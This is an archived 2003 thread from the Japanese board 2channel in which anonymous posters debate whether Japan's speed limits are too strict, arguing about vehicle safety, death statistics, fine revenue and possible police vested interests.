5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

《疑問》日本の速度規制って厳し過ぎない?

1 :名無しさん@お腹いっぱい。:03/10/30 03:15 ID:9uNAIYj5
「違反」という以前に、そもそも日本の速度規制って厳しすぎない?

例えば「高速は100キロまで」って、40年近く前から変わってないよね。
多分、「一般道60キロ」は、もっと前からだよね(←こっちは未確認です)。

当時の車って、どんなだったんだろう?
きっと今の車と比べると、制動力も、タイヤのグリップ力も、全然違うよね。
でも、同じ規制っておかしくない?

本来規制って僕たち一般市民の為に有るんだよね。
どうしたらいいか、みんなで考えてみない?

2 :名無しさん@お腹いっぱい。:03/10/30 03:28 ID:oe5LvZVx
2

3 :名無しさん@お腹いっぱい。:03/10/30 04:03 ID:itMmo0rl
オーストリアは、下道100キロ高速130キロだったぞ!
まあ人口密度が違うが、それにしてもね・・・

4 :名無しさん@お腹いっぱい。:03/10/30 04:06 ID:iFVxQLm2
法定速度を上げたら>>1みたいな下手クソも
調子乗ってスピード出すから事故が増える。

車の性能はより安全に改良されるのは当たり前
クソスレバイバイ

5 :名無しさん@お腹いっぱい。:03/10/30 04:26 ID:???
でも法定速度守る人ってあまりいないよな。
結局スピードの出しすぎは大事故に繋がるから、
今のままでも別に良いけど。

6 :名無しさん@お腹いっぱい。:03/10/30 04:44 ID:u+8L2LwZ
車の性能はあがっているが、車の数が当時とは比較にならんでしょ。
確かに???な速度規制が多いの事実だがな。


7 :名無しさん@お腹いっぱい。:03/10/30 05:02 ID:???
国交省に言わせれば第2東名は140キロ位で安定走行可能な設計なんでしょ?
警察が認可するかどうかが問題なわけで・・・・
速度に比例して増加する事故処理が嫌なのかしら?
勘繰って警察利権にこじつけるか。
私見では他省庁の指図、意向を嫌う自治省体質かなと。
アイドリングストップでは環境省と真っ向対立だし

8 :名無しさん@お腹いっぱい。:03/10/30 05:07 ID:???
ほぼ全員が日常的に違反している状態つーのは、
管理者・支配者にとっては便利なんですよ。
いつでも停止を命じて身分証(免許証)を調べられるし、
いつでも逮捕できるし、好きなだけカネを生み出せるしね。

9 :名無しさん@お腹いっぱい。:03/10/30 08:44 ID:46h1qOBO
>>1
>本来規制って僕たち一般市民の為に有るんだよね。
死亡事故が無くな選らない以上、一般市民の為に規制してるんだと言われる。

明石の花火でも同じだろ。
あれも、市民のために徹底的に規制すればよかったんだよ。
自己責任より規制を求められる。
市民の為に徹底的に規制をしないといけない時代なんだよ。


10 :名無し:03/10/30 08:58 ID:???
>>1に問いたいが
数十年前と現在で人間の過失、誤認、操作ミスの確率は変化したのか?
危険認知から制動までの反応時間は変化したのか?
時代の流れで保有数や運転者層の拡大もされた要因はあるが
車両の性能向上や道路整備の向上から事故数やけが人や死亡者
が劇的に減少しているのか?

タイヤが良くても車が良くても運転を人間がしていることと
道路構造を根本的に安全寄りに引きなおさないと意味がない


11 :名無し:03/10/30 09:01 ID:???
追加するが。日常の慢性的な速度違反は事実だが
規制値を上げて実情に合わせても
その基準を更に上回る慢性的な違反が拡大するだけな
のは常識的に予測が付く
40km/h道路を現在の流れの60km/hにしたって違反者は
現象せずに80km/hで流れるだけだな


12 :名無しさん@お腹いっぱい。:03/10/30 11:09 ID:???
>10-11
だから速度規制を改める意味が無いというのか?
人為的ミスの確率は変わらなくても車の性能は飛躍的な進歩だ。
道路もより高速運行できる設計基準ならば最高速をあげるのに問題はない。
最高速は出さなければいけない速度じゃないぞ。
慢性的に違反者が出る云々というのはなに?
普通は運転時の道路状況で速度調整するの。
法定速度を基準に速度超過する訳じゃない。
50キロ出せるなら法廷速度が30でも40でも関係なくオーバーだろ。

13 :名無しさん@お腹いっぱい。:03/10/30 15:08 ID:Acf5s2ZJ
>>10
>>数十年前と現在で人間の過失、誤認、操作ミスの確率は変化したのか?
>>危険認知から制動までの反応時間は変化したのか?

危険に直面してから停止するまでの距離=人間が気付くまでの空走距離+制動距離
ですよね。
制動距離の部分が縮まれば、空走距離が変わらなくても、当然全体の距離も縮まると思うのですが。

>>車両の性能向上や道路整備の向上から事故数やけが人や死亡者が劇的に減少しているのか?

車の台数は大幅に増えたのにそれに比例して死亡者が増えてないというのは、
一台当りの事故率は大幅に下がってると思うのですが。


14 :名無しさん@お腹いっぱい。:03/10/30 15:30 ID:Acf5s2ZJ
>>11
それはどうでしょうか?
むしろ、実体に合って無い規制が有るから「スピード違反なんて悪い事じゃない」という事になり、みんなが守らなくなるのでは?
合理的なで必要な規制なら、死にたくない人は守ると思います。

例えば、時間帯とか場所とかによって取り締まりに会う可能性が殆ど無い場合でも、事故を起こさない範囲で走りますよね。

結局の所、あまりにも厳しい規制をしてるので、「守らなくても当然」という風潮になってしまってるのでは?


15 :名無しさん@お腹いっぱい。:03/10/30 15:59 ID:t/39vvA5
車の速度メーターには、時速180キロぐらいまであるでしょ?
これって問題になったことはないか知りませんか?

16 :名無しさん@お腹いっぱい。:03/10/30 16:05 ID:YJhgN2Lf
>>1
別に厳しくないと思う。
アメリカも日本と同じくらい厳しい。
俺が依然住んでた州では高速は65マイル(105Km/h位)制限。
10マイル以上オーバーしてたら止められる。
罰金は郡によってまちまちだが、15マイルオーバーで200ドル取られたことがあった。



17 :middo ◆IUuHBLseh2 :03/10/30 16:11 ID:???
j

18 :名無し:03/10/30 16:44 ID:???
>>12-13
みなさんの言うこともごもっとも。極端な話だと
一般道の制限速度を200km/hに規制したってほとんどの人は
4-60kmの良識ある速度でしか走らないから、あえて210-220km/h
で走る香具師はイナイという理論ね
その良識ある速度と実際の規制の温度差を問題視してると

昔に比べ事故率の現象は存じ上げております。
道路行政や自動車の性能に資格試験等々の努力だと思います
しかし横這いに1万人以上も死んで障害者も量産してる現実は
無視しないでね。
この数値の減少が大事で保有数による事故率は関係ないんです。
安全ボディ・ベルトで致死率が下がって事故率という数値が下がっても
事故そのものが減少しないと意味がないし

仮に各行政の努力で安全率が上がった。死亡(障害者)人数が3割減って
7000人になったから各行政の規制を緩和して経済効果を上げるべく
便利な社会にしてまた1万人に戻そう
いつでも1万くらい死んでるんだから良いだろ
って考えはいかがなものか

19 :名無し:03/10/30 16:44 ID:???
>>12-13
速度=死亡ではないでしょうし
弱者分離の道路や資格試験や教育でも効果はあるでしょう
から速度を目の敵にはしませんが

強引な話ですが
しかし世の中の原動機付きの車両の速度か10km/hを超えない
と仮定したら死亡事故は何件くらい起きるとおもいますか?
経済や生活を江戸時代に戻すような無理なはなしですがね(w

>>15
少なくとも大型車は規制によって90km/hリミッターを噛まされる
時代になったので普通車も行政の議論のテーブルには乗ってると思うよ


20 :名無しさん@お腹いっぱい。:03/10/30 17:02 ID:kgiikITF
腰を折って恐縮だが、

車の性能向上→法定速度現行維持→違反者増加→警察ウマー
ってのが、警察上層部の見解なのでは?

21 :名無し:03/10/30 17:22 ID:???
>>20
ポキッ
摘発増加で警察のうま味はほとんどないよ
国庫の金や地方財源の金を増やしても直にうま味はない
行政処分関連で多少の退官雇用が望める程度

地方と国に縛られた警察は市民の奴隷で
市民の願いは子供も年寄りも死なない安心できる
居住地であって街を走る運転者だって殺されたくないから
みんなが願うことであって議会が願うこと
他都府県より僅かでも少ない事故・死亡者数が
警察官僚の勲章であり予算や発言力をも左右する
年間死亡者0ならどんなに違反者があふれて地方・国庫収入が減っても
追求はされないし摘発者に逆恨みもされないし

現状は取り締まり強化が数あわせに効果があるだけだ
シートベルト取り締まりなんてその代表例
加・被害者が出ても死ななければOK(w


22 :名無しさん@お腹いっぱい。:03/10/30 17:41 ID:Rh7VTuUu
追い越しが増えるんじゃないの?
40キロで走る車と、80キロで走る車が同じ道路で走行するということは。




23 :名無しさん@お腹いっぱい。:03/10/30 18:17 ID:???
>>22 は厨房につきスルーしてくだしゃい

24 :名無しさん@お腹いっぱい。:03/10/30 22:10 ID:EU8L/hLd
ベルトしてる状態で車同士がぶつかった場合、正面衝突でない限り60km以下で死ぬ事は殆ど無いように思います。
で、普通ノーブレーキで突っ込む事は無いですよね(居眠りなら別ですが)。
という事は、車同士の事故で死ぬのは、80km以上出してる場合では?
そうすると、中央分離帯の有る幹線道路は80kmまではそれ程危険でないと思います。
では、何故自動車搭乗中の事故だけで年間何千人も死ぬかといえば、規制など無視して100キロ以上とか出すからでは?

25 :違反組:03/10/30 22:18 ID:YWlU5O6V
>>1
つうか君はどこかの国と比べて厳しいといっているのかね?そうじゃなかったら
一概に厳しいとは言えないんでは?

26 :24:03/10/30 22:22 ID:EU8L/hLd
現在の現状に合わない速度がスピード違反に対する罪悪感を無くしてしまい、結果として規制速度を守らないドライバーを多数派にしているような気がします。
その結果、却って危険な速度(80-100キロ以上)で走るドライバーを増やしているのではないでしょうか?
現実的な規制にすれば多数のドライバーが守るようになり、遵法精神が高まり、危険な速度で走るドライバーは減ると思われるのですが。

勿論、人車混合道路に関しては速度を落とすべきだと思いますし、これに関しては規制と共に、道路に凹凸を付けるなどの方法が有効だと思います。

27 :1:03/10/30 22:30 ID:EU8L/hLd
>>25
次の2つです。
1)合理的な程度の規制と比較して、あまりにも厳しいのでは?
2)主用先進国(アメリカは除く)と比較して、日本の速度規制はかなり厳しいと思いますが。


28 :名無しさん@お腹いっぱい。:03/10/30 22:44 ID:KF5SSys6
>>18 の言う通り一般道で制限速度がなくなっても普通の人は事故りたくなかったら今までと同じスピードで走るし
ちょっと急ぐ人はスピードを出すだけの事
善良な市民が基地外の巻き添えを食うのは避けたいが

警察の見解はイエローモンキーは運転技術が下手だから不当に低い速度に規制しとくかってトコじゃないの?
かくいう漏れもイエローモンキーだが

29 :名無しさん@お腹いっぱい。:03/10/30 23:10 ID:YqBzHwtV
運転免許を取ることが簡単すぎると思う。お前ほんとに免許あんのかよ!!
って香具師いすぎ・・・。今より法廷速度をあげるなら、試験を厳しくする必要があると思う。
絶対に事故りたくないから、少しでも危ないとこで速度落としてるけど、
1みたいなやつに巻き込まれそうで怖い

>>1
高速の法廷速度って、そんな昔から100だっけ?
こないだまで80だった気がするけど・・・
つか、40年前の車は走るなと言うのですか? 

30 :1:03/10/30 23:40 ID:EU8L/hLd
>>高速の法廷速度って、そんな昔から100だっけ?
こないだまで80だった気がするけど・・・

軽自動車の話だよね。


31 :名無しさん@お腹いっぱい。:03/10/31 02:39 ID:S9jxe9Qb
みんなが守らない事を前提にしてるから厳しいんでしょ。
青切符の速度違反を折りこんで、それでも安全なようにしてるんじゃない?

32 :名無しさん@お腹いっぱい。:03/10/31 07:58 ID:???
同じような内容だね↓>>1だけ

http://tmp.2ch.net/test/read.cgi/ihan/1066069868/l50

33 :名無しさん@お腹いっぱい。:03/10/31 10:56 ID:???
速度の規制を緩和すると・・・・標識の変更で莫大な費用がかかるからやりません。


34 :名無しさん@お腹いっぱい。:03/10/31 14:54 ID:WFSc3C7T
>>21
>>摘発増加で警察のうま味はほとんどないよ

調べてみました。
一旦国庫に入り、道路の安全の為の設備に使われるとの事です。

という事は、その「安全の為の設備」を納めて生活している業者も居るわけだし、その業者さんに発注している役人も居る訳ですよね。
一般に公共事業は「民間より割高」とか、「利権になり易い」とか言われるけど、この場合どうなんだろう。
利権になってるという証拠は無いけど、そうなり易い状況ではありそうな気がすのですが。

35 :名無し:03/10/31 15:56 ID:???
>>34
経済のシステムを良く考えろって
いったん国庫に入ったかねの裁量は警察には少ないだろ
非常に間接的なんだよ
予算の増減に関しても支出に間接てきじゃないか。

取り締まり費用のコスト考えてみなタダじゃ取り締まれない
仕入れだけして売り上げを直にもらえないし
安全のための設備がすべて警察官僚支配ってわけでもないだろう

官僚は劇的に事故(負傷・死亡の数字だけ)を下げる効果で
莫大な警察の通常予算配分の獲得できるし
地方に飛んでる官僚は一気に出世だしな
警察全員のマスを稼ぐのは二の次で個人の利益優先だから
経由の多い金の流れに必死こく必要ない

○○県警で集金最大の官僚より○○県警で事故減少30%やったほうが
速攻で都に戻って全体の交通全体の指揮権を得られるし利権も
山ほど獲得できる
結果的に厳しい摘発が事故減少につながるので同じなんだが
摘発増加で事故が減少していなかったら議会も警察庁も
とくに評価はしないよ



36 :名無しさん@お腹いっぱい。:03/10/31 19:04 ID:SMw3v4HY
>>35
>>いったん国庫に入ったかねの裁量は警察には少ないだろ

反則金が国庫の一般会計に入るならともかく、「安全の為の設備に使われる」という事は、別会計ということですよね。

>>安全のための設備がすべて警察官僚支配ってわけでもないだろう

警察が決めてるという証拠はありませんが、交通安全は警察の管轄ですよね。
実際問題として、警察以外に、個々の設置についてどこが決めるんでしょうか?

37 :名無し:03/10/31 19:31 ID:???
>>36
罰金は一般会計で反則金もいったん一般会計に回されると思ったが
いずれにしても地方の安全の為に使われるのは1部であって全額ではないし
国からの交付金として地方財源に渡される小遣いだよ
その小遣いをまたまた地方警察に丸々わたさないだろ?

都道府県に入った交付金だし警察の大部分の予算は
都道府県から払われているから懐は一緒だが
交付金の使途裁量は地方議会にあると思うけどね

自治体単位だって交通安全に施設費はかかるはずだよ
いずれにしても周り回った金云々より
ストレートに渡された警察財源の利権のほうがうまいはず
この利権を地方警察が握れるか否かはさだかでないが

基本的に恨みを買うような反則金や罰金が徴収権限ある
行政に取ったら潤う的に渡されることは政治としてないだろ




38 :34:03/11/01 02:46 ID:BQMFLTvX
>>37

>>いずれにしても地方の安全の為に使われるのは1部であって全額ではないし

そうなんですか?
「ガードレールなどの、安全の為の設備に使われます」という説明だったんですが。

>>交付金の使途裁量は地方議会にあると思うけどね

すると、反則金収入につき「安全の為の設備」以外にも、議会の裁量で使えるという事ですか?
そうでないなら、議会が選択出来るのは「ガードレールを作るか、安全を呼びかける看板を作るか」といった程度、という事になってしまいませんか?

まして、発注業者の選定とか議会が直接やってるのでしょうか?

39 :名無しさん@お腹いっぱい。:03/11/01 04:56 ID:???
つーか、何で車は100キロ以上出るように作るんだ。最高時速100キロの車にシル!

40 :名無し:03/11/01 10:20 ID:???
>>38
表現が不適切だったかな?
君も知ってると思って書いたが国が徴収した反則金収入の
100%でなく1部の資金を交通安全目的の地方交付金に回す
国が100億集めたら70億とかを各都道府県にね

もらった地方は目的が決まった交付金だから使途は交通
安全目的に限定されるはず。
これは他の交付金もいっしょだからね。何に使うか詳細まではしらないがな
横断歩道のペイントだかカーブミラーだか信号機だか解らないが
いずれにしても地方議会の承認と裁量で施設されるんだろうな
発注者が警察官僚か都道府県庁か知らないが
反則金徴収してる権限との距離は長いよ

警察だって直接の行政権限の利権が山ほどあるのにそんなことに必死こかないだろ
風俗、免許発行教育、交通取り締まり機材、道路使用許可に安全協会と
認証や監督の法人を作りまくって利権には困ってないからな
免許センター等もあるし摘発利権が0とはいわないがウエイトは小さいだろ
風俗関係のパチンコ利権のほうがよっぽどンマー


41 :34:03/11/01 18:31 ID:zw0jx+R7
>>40
>>地方議会の承認と裁量で施設されるんだろうな

地方自治体の公金ですから、最終的な決定権は当然議会に有るんでしょうね。
民主主義国家で有る以上、国の権限は国会、内閣、裁判所が持ち、地方の権限は首長、議会が持って、官僚はそれらが決めた方針を実行するだけの存在。
全くその通りだと思います。少なくとも理論上は。

実際はどうですか?
直接議員が道路を見てまわったり、業者を選定したりするのでしょうか?
一般論として、行政事務につき担当する官僚が事実上の決定権を持つに等しい状態になる事は、よくある事ではないですか?
で、この場合担当する官僚は誰でしょうか?
警察しかいないように思われますが、いかがでしょうか?

42 :34:03/11/01 18:40 ID:zw0jx+R7
>>40
>>警察だって直接の行政権限の利権が山ほどあるのにそんなことに必死こかないだろ
>>摘発利権が0とはいわないがウエイトは小さいだろ

反則金収入による交付金予算は、年間1000億近いと聞いてます。
これって、警察にとっては小さな額なんですか?
警察って、他の利権がそんなに沢山有る所なんですか?
勿論、この1000億近くが実際に利権になってるという証拠はありませんが、少なくとも客観的な状況として、相当魅力的な利権になり得るという事は言えると思うのですが。

43 :名無しさん@お腹いっぱい。:03/11/01 19:00 ID:dHGC0t6A
>>42
>反則金収入による交付金予算は、年間1000億近いと聞いてます。
>これって、警察にとっては小さな額なんですか?

友人の収入の1000億のおこぼれが小さいだけであって、べつに1000億が小さいわけではないってことだろ。

>相当魅力的な利権になり得るという事は言えると思うのですが。

友人の収入の1000億は魅力的だが、どうすることもできないだろ。
なんとか、おごってもらうことぐらいか。

44 :34:03/11/01 20:49 ID:jYXI4kh6
>>43
>>友人の・・・
41も一緒に読んで頂ければ、その「友人の」かどうかが問題だと分かって頂けると思うのですが。
二つに分かれてると、分かりにくかったですか?
済みません。

分かり易いように要約します。
1)交通違反により、年間1000億近い反則金収入が有り、「交通安全対策特別交付金」として「安全の為の設備」に使われているらしい。
2)この予算の具体的な用途や、業者の選定は、一応地方議会の議決を経てるとしても、事実上警察官僚が決めているのではないか?(38や40など参照)
3)一般論として、公共事業は利権になり易いと言われているが、この「交通安全対策特別交付金」についてはどうなんでしょうか?
4)40さんから「警察だって直接の行政権限の利権が山ほどあるのにそんなことに必死こかないだろ」とのご指摘を頂きましたが、1000億って「そんなこと」という程度の金額なんでしょうか?

つまり、43さんの言う「友人(議会?)」ではなく、警察官僚が事実上用途を決めたり業者探したりしていると考えるのが自然ではないかな〜?と疑問に思ったのですが。
勿論、実際に警察官僚が決めてるという証拠は有りませんし、「議員さんが熱心に道路を周って、直接決めてる」なんて事が絶対に無いなんて言う証拠はありませんが。
無論、実際に警察官僚の利権となっている証拠も有りません。
ただ、そうなり易い状況だとは言えると思いませんか?

45 :34:03/11/01 21:49 ID:hBorWpsM
>>39
>>何で車は100キロ以上出るように作るんだ。

遅レスになってしまって済みません。
想像ですが、メーカーさんも「多くのドライバーが100キロ以下で走ってる」とは思ってないのでは?
つまり、多くのドライバーが「法定速度を越えたら危険」とは思ってないのではないかと推測します。

多くのドライバーが危険を感じない速度を、警察官僚や公安委員会など一部の人の考えで禁止するって、おかしいと思います。
民主主義って、「一部の人が間違った判断をする可能性より、多くの人が間違った判断をする可能性の方が少ない」事が大前提だと思うのですが。


46 :名無しさん@お腹いっぱい。:03/11/01 23:47 ID:???
って言うか基本的に道が狭いから、速度させないんだろ?
ついでに言うと最近はAT車が増えておかげで事故が増えてる。故に危険性をあげるようなまねはしないんだろ・・・。

47 :名無しさん@お腹いっぱい。:03/11/02 00:18 ID:rjPN82CB
狭い道では絶対スピード落とすべきだよね。
住宅地の生活道路をかっ飛ばしてる車とか、子供とか居るとほんとに怖い。
取り締まるだけでなく、道路に凹凸付けてでもスピード落とさせるべき。

ただ、4-6車線道路で歩道が別になってて、中央分離帯まで有る道路まで60キロというのはどうだろ。
まして、そんな道が50とか40とかだと、「もしかしたら、警察のノルマ稼ぎの為?」とか疑っちゃうよね。

48 :名無しさん@お腹いっぱい。:03/11/02 00:38 ID:???
>4-6車線道路で歩道が別になってて、中央分離帯まで有る道路
名古屋の街中には普通にある。
60kmにしたら事故死が倍になる罠。
50km制限で普通に70〜80kmで流れてるのに
60km制限なら、普通に80〜90kmになる。

49 :名無しさん@お腹いっぱい。:03/11/02 00:46 ID:Jjlacsgu
事故って本当に増えてるの?
死者数は、ABSやエアバックの普及で近年減ってる筈だけど。。。

50 :名無しさん@お腹いっぱい。:03/11/02 00:58 ID:Jjlacsgu
>>48
すると、80km制限にしたら90〜100kmになるの?
そして、制限速度上げたらいくらでも流れが速くなると?
それはどうだろ。

むしろ、守らない事を前提にした規制をしてるから、みんな「スピード違反なんて・・・」って思うんじゃないかな〜。
大部分の人が守れる速度にすれば、死にたくない人はみんな守ると思うよ。
それでも守らない人を、重点的に取り締まればいいんじゃないかな。

その結果、住宅地の30-40km規制もみんなが守るようになり、子供とかも安心して道路を歩けるようになると思うけど。

あと、80kmで事故った場合、普通ノーブレーキでぶつかったりしないから、衝突時は60km以下だよね。
それで死ぬって、ノーベルトが多いんじゃない?
そこまで考慮する必要有るのかな?

51 :名無し:03/11/02 04:10 ID:???
>>44
1000億あったって100%交付金に回さないって言ってるじゃん。それに長野が20億集めて東京が50億集めたからって配分は比例しないで
予算事情にあわせて分配しれてるんだし。交付金なんだから地方議会に入った予算をマルマル警察官僚に横流しするなんて
考えられないでしょ。
それなら最初から警察予算として割り当て交付すればいいのだから議員裁量と県の公安委員会や道路行政部署が牛耳ると見るのが妥当

それに警察庁にだって地方警察にだってそれなりに予算はあるんだから経由の多い反則金やまったく直接経由の無い罰金にヒッシこかないってば
たんに行政圧力として事故統計の制御に摘発の調整してるだけ

>>49
毎年死者の数はそうそう変わってないよな。医療的な向上もあるから24時間以上の延命も多くなったろうし
ABSにベルトにチャイルドに衝撃吸収ボディに進化してるという理論を言う香具師は
交通弱者の死者増加を唱えてるのと同じコトなのでますますの規制強化の材料にしかならない

>>50
衝突時の時速やブレーキなんてかんけいないんだよ。ナンダカンダ人が万単位で死んでるんだから
結局人間の反応時間や制御機能や生命力にたいした向上がないという結果だろ
24時間統計でも10年で10万人から死んでる現実は近年の戦争や大災害でもなかなか実現しない数字だよ

普通の神経なら5年もあれば対策して減小を目指すのが常識だが歩道橋を造ってもオービス作ってもいっこうに減らないのは
人間の間違いや違反が多いからだし、そこが変えられないなら台数を絞るか物理的衝突エネルギーを抑制するしかないんだよ
前にも書いたが数トンの移動体が時速10km/hを超えなければ死者はそうそう出ないんだよ
20km/hと30km/hの変化にくらべ50km/hと60km/hの物理エネルギーは相当ちがうから空走距離や制動距離や衝撃エネルギーは速度域が高く
なるにつれ死者を増加させる要因にしかならない


52 :名無しさん@お腹いっぱい。:03/11/02 10:05 ID:276WnURs
>>51
>>100%交付金に回さない
「反則金収入は交通安全対策交付金に組み込まれ、毎年1000億近くが予算化」されていると聞いた気がしますが、実際は違うのですか?
違うのでしたら、一体どれ位が他の用途に回されてるのですか?

>>毎年死者の数はそうそう変わってないよな。
平成14年の交通事故による死者は、8326人だそうです。
記憶違いで無ければ、数年前まで1万人程だった気がするのですが?

>>医療的な向上もあるから24時間以上の延命も多くなったろうし
わずか数年でそんなに医学が進歩するのでしょうか?

>>交通弱者の死者増加を唱えてるのと同じコト
生活道路の規制速度に関しては、現状のままで良いと思います。
でも、生活道路でねずみ捕りやってるのって、見た事有りますか?
私の印象では、ねずみ捕りは殆ど幹線道路という気がしますが?

警察が、交通弱者保護を考えて、歩道が分離してる幹線道路でも現在の法定速度を維持してるという事ですか?
そうでしたら、もっと効果的な方法はいくらでも有ると思います。

交通弱者といえば、歩行者、自転車、原付ですね。
歩行者に関しては、幹線道路に関しては信号機付きの横断歩道を配置すれば済みますよね。
予算の都合も有るでしょうから歩道橋は大変でしょうが、信号機付き横断歩道でも充分効果的だと思います。
自転車についてですが、現在「原則車道を走る」事になってますが、何故でしょうか?
車対自転車で死亡事故が起きる危険と、自転車対歩行者で死亡事故が起きる危険と、どっちが大きいですか?
原付についてですが、私も以前に原付に乗っていた事が有ります。
30キロで走ると結構怖いですが、車の流れに併せて走ると大抵違反になりますよね。
しかも、印象ですが、原付に対する速度取締りはかなり熱心だという気がしました。
私の周囲でも、「守ると却って危ないからみんな違反する。だから格好の標的にされる」という印象を持っている人が多かったですが、実際どうなんでしょうね?

53 :名無しさん@お腹いっぱい。:03/11/02 10:09 ID:276WnURs
続きですが

>>衝突時の時速やブレーキなんてかんけいないんだよ。ナンダカンダ人が万単位で死んでるんだから
その中には、一般道を100キロ以上とかの無謀な速度で走ってるDQNも入ってますよね。
幹線道路の法定速度を80キロ程度にして、無謀なDQNを集中的に取り締まった方が効果的だと思うのですが。

あと、ノーベルトで事故に遭った人もかなり含まれてるのではないかと思うのですが、どうなんでしょうか?
ノーベルトの方は確かに死亡しやすいと思いますが、そんな人まで交通弱者として保護する必要は無いと思います。
危険を承知でベルトを締めない訳ですから。

>>10年で10万人から死んでる
年間8326人というのは軽視出来る数では無いと思います。。
家の中で転倒・転落して亡くなる方が年間約5千人と聞いてますが、比べて突出した数字でないにしても、やはり尊い命が8326人も亡くなっているというのは痛ましい事ですし、減らす努力は必要だと思います。
問題は「幹線道路でも法定速度60キロ」というのが死者を減らす為の適切な方法かどうかです。

メリハリを付けて必要な場所(生活道路など)の規制は道路の凹凸などの方法も含めてきちんとする。
そして、そういった規制に説得力を持たせる為にも、幹線道路などの行き過ぎた規制は緩和。
自転車は歩道を走ってもらう。
という方向で行けば、反則金収入は減るでしょうが、死者は減少しませんか?
何故やらないと思いますか?

現状では、あくまで印象ですが、交通弱者を傷つける危険性が少ない幹線道路の取締りに熱心なように思うのですが、実際どうなんでしょうか?

54 :名無しさん@お腹いっぱい。:03/11/02 19:33 ID:LhJnGHLs
ベルトしない香具師は、管内の死亡者数に入れる必要なし。

55 :名無しさん@お腹いっぱい。:03/11/02 23:11 ID:UlWjnKW9
8326人つーのは、事故から24時間以内の死亡者だったよな?

56 :名無しさん@お腹いっぱい。:03/11/03 00:03 ID:btaTopai
>>49
ABSついてても車は急に止まらん。
エアバック装備してもちゃんと着けなきゃ意味無いし、後部座席に無い車もあるし、当たられる側には着いてない時も有る。
衝撃吸収ボディーになってるとしても、人間から見ればガラスとかエンジンが硬いしほぼ同じ。
ついでにアレだけの重量のもんが60K/h以上の運動エネルギーを帯びて突っ込んで来たら同じだし・・・。(飛び降り自殺したらした時期になった人間の方が死んじまったのと同じ)

57 :名無しさん@お腹いっぱい。:03/11/03 03:31 ID:3tSulZS8
>>55
数年前に約1万人も、昨年の8326人も、どちらも同じ条件の「24時間以内死亡」統計だと思います。
つまり、同じ条件で統計を取って、2割近く減少しているという事になるのでは?

58 :名無し:03/11/03 23:16 ID:???
>>52-53
約2千人の減少はすばらしいが1万を超えた年もあるから10年10万と
いう大きな数字から言えば誤差に等しい
能書きは年間死者が2000人下回ってから言おうじゃないか

それと規制速度を10-20Km/h上げたときのメリットを教えてくれないか?
まさか移動時間が早くなるとか言わないよな?
1日数百kmも移動するのか田舎を走ってるか知らないが
開けた街の道路・交通事情なら規制速度を200km/hにしたって
10-30km区間の到達時間は変わらないよ
立体交差や環状線等の道路整備による信号の減少や渋滞緩和の根本な道路行政を
かえれば到達時間は早くなって安全度が増すのだから速度で解決しようと
いうのは馬鹿な発想

試しに首都圏を一般道を無制限の速度と規制速度で走ってみなマッタク
時間は変わらないから。
山梨も首都圏だっけ?あそこは例外で(w


59 :名無しさん@お腹いっぱい。:03/11/04 00:22 ID:WZwcUsr5
>>58
>>規制速度を10-20Km/h上げたときのメリットを教えてくれないか?
細かい事で恐縮ですが、「20-30km/h」上げる主張ですので、その前提で説明させて頂きます。
メリットは大きく分けて二つあります。
まずは一つ目。
>>まさか移動時間が早くなるとか言わないよな?
昼間の都市部の一般道では殆ど変わりません。
速度規制を緩めても車が多くて飛ばせないから、移動時間も殆ど変わらない代わり、事故も殆ど増えないでしょうね。

58さん郊外へ出かける事有りますか?
郊外って言っても三鷹や川口みたいな住宅地でなく、もっと外側です。
例えば4号線で言えば春日部以北とか。
試してみて頂ければ分かりますが、50kmの所を80kmにすれば、3割は早くなります。
交通量が多くて50kmしか出せない時間帯は別ですが、その場合事故も増えませんよね。
あと夜中の都心については、確かに飛ばしても移動時間は意外と変わりませんが、あれは速度抑制の為にわざと信号を連結させてないからでは?(想像ですが)
高速道路なら80kmの所を120kmにすれば、移動時間は3分の2です。
渋滞してれば別ですが。

>>山梨も首都圏だっけ?
日本の人口の半分近くは、三大都市圏以外の所に住んでますし、都心も24h渋帯している訳ではありません。
あと、首都高も最近は以前に比べて渋滞してない区間が増えてるかと思いますが、60km規制ですよね。

ちなみに、最近大型トラックに速度抑制機が取り付けられましたよね。
新聞報道で読まれてるかと思いますが、輸送にかかる時間が長くなり、生鮮品など列車輸送や航空輸送に乗り返る動きが目立って来たそうです。
運転手の方には死活問題だと思いますよ。
雇用創出力の大きなトラック業界で需要が減ると、それだけ失業者が出ると考えられますから。
その人達が、鉄道会社や航空会社に再就職出来ると思いますか?
家族を抱えて失業した人達は、どうするんでしょうね?
交通事故で亡くなった方やご家族は勿論悲痛な思いでしょうが、一家の大黒柱の失業もなかなか深刻な事だと思います。
安全性を保ちながら移動時間を短縮する工夫は、決して無意味な事では無いと思いますが。

60 :名無しさん@お腹いっぱい。:03/11/04 00:57 ID:WZwcUsr5
次に二つ目。

移動時間の問題よりも、もっと重大な問題も有ります。
現在法定速度を超過するスピードで走ってるドライバーで、「悪い事」だと思ってる人が何%居るでしょうか?
まあ、警察が「面接方式」でアンケートすれば大部分のドライバーが「速度違反は悪い」と答えるでしょうが、速度違反に罪悪感を感じる人がどれだけ居ると思いますか?
つまり、大部分のドライバーが「悪い事だとは思ってない」事を、一部の警察官僚や公安委員が「悪い事」として禁止しているのではないですか?
そして、それらのドライバーは「不満は有るけど、どうせ変わらない」と思い、公に不満の声を上げる事もなく、捕まったらやむなく反則金や減点に服しているのでは無いでしょうか?
だとすると、まず民主主義社会としておかしいと思いませんか?

あと、法律の説得力の問題も有ります。

例えば、「人を物を盗んではいけない」という法律は、基本的には刑罰の力で実効性を与えられてます。
でも、それだけでしょうか?
大部分の人が倫理的に「盗みはいけない」と感ている事自体も、この法律に実効性を与えているとは思いませんか?
盗みが罰せられなければ盗みが増えるでしょうが、それでも私は多分盗みませんし、そういう人は人は結構多いと思います。
現在でも、絶対ばれないような状況でも、善良な市民なら盗みはしないでしょう。
法律は、刑罰と罪悪感両方で実効性を与えられてるのだと思います。

スピード違反はどうですか?
善良な市民でさえ守らない人が多い過剰な規制が、「スピード違反はいけない」という気持を失わせていると思いませんか?

その結果、生活道路で結構飛ばしている車が多かったりしませんか?
印象ですが、生活道路は路線が多くて取り締まりが行き届かないようですしね。
それよりも過剰な規制は改めて、速度規制が刑罰と罪悪感両方によって実効性を与えられ、必要な範囲の規制はきちんと守られるようにした方が死者を減らす事に繋がりませんか?

多くの人が守らないような過剰な規制は規制自体に対する信頼を失わせ、本当に必要な規制まで守らない人を増やすように思われます。

61 :名無しさん@お腹いっぱい。:03/11/04 01:07 ID:???
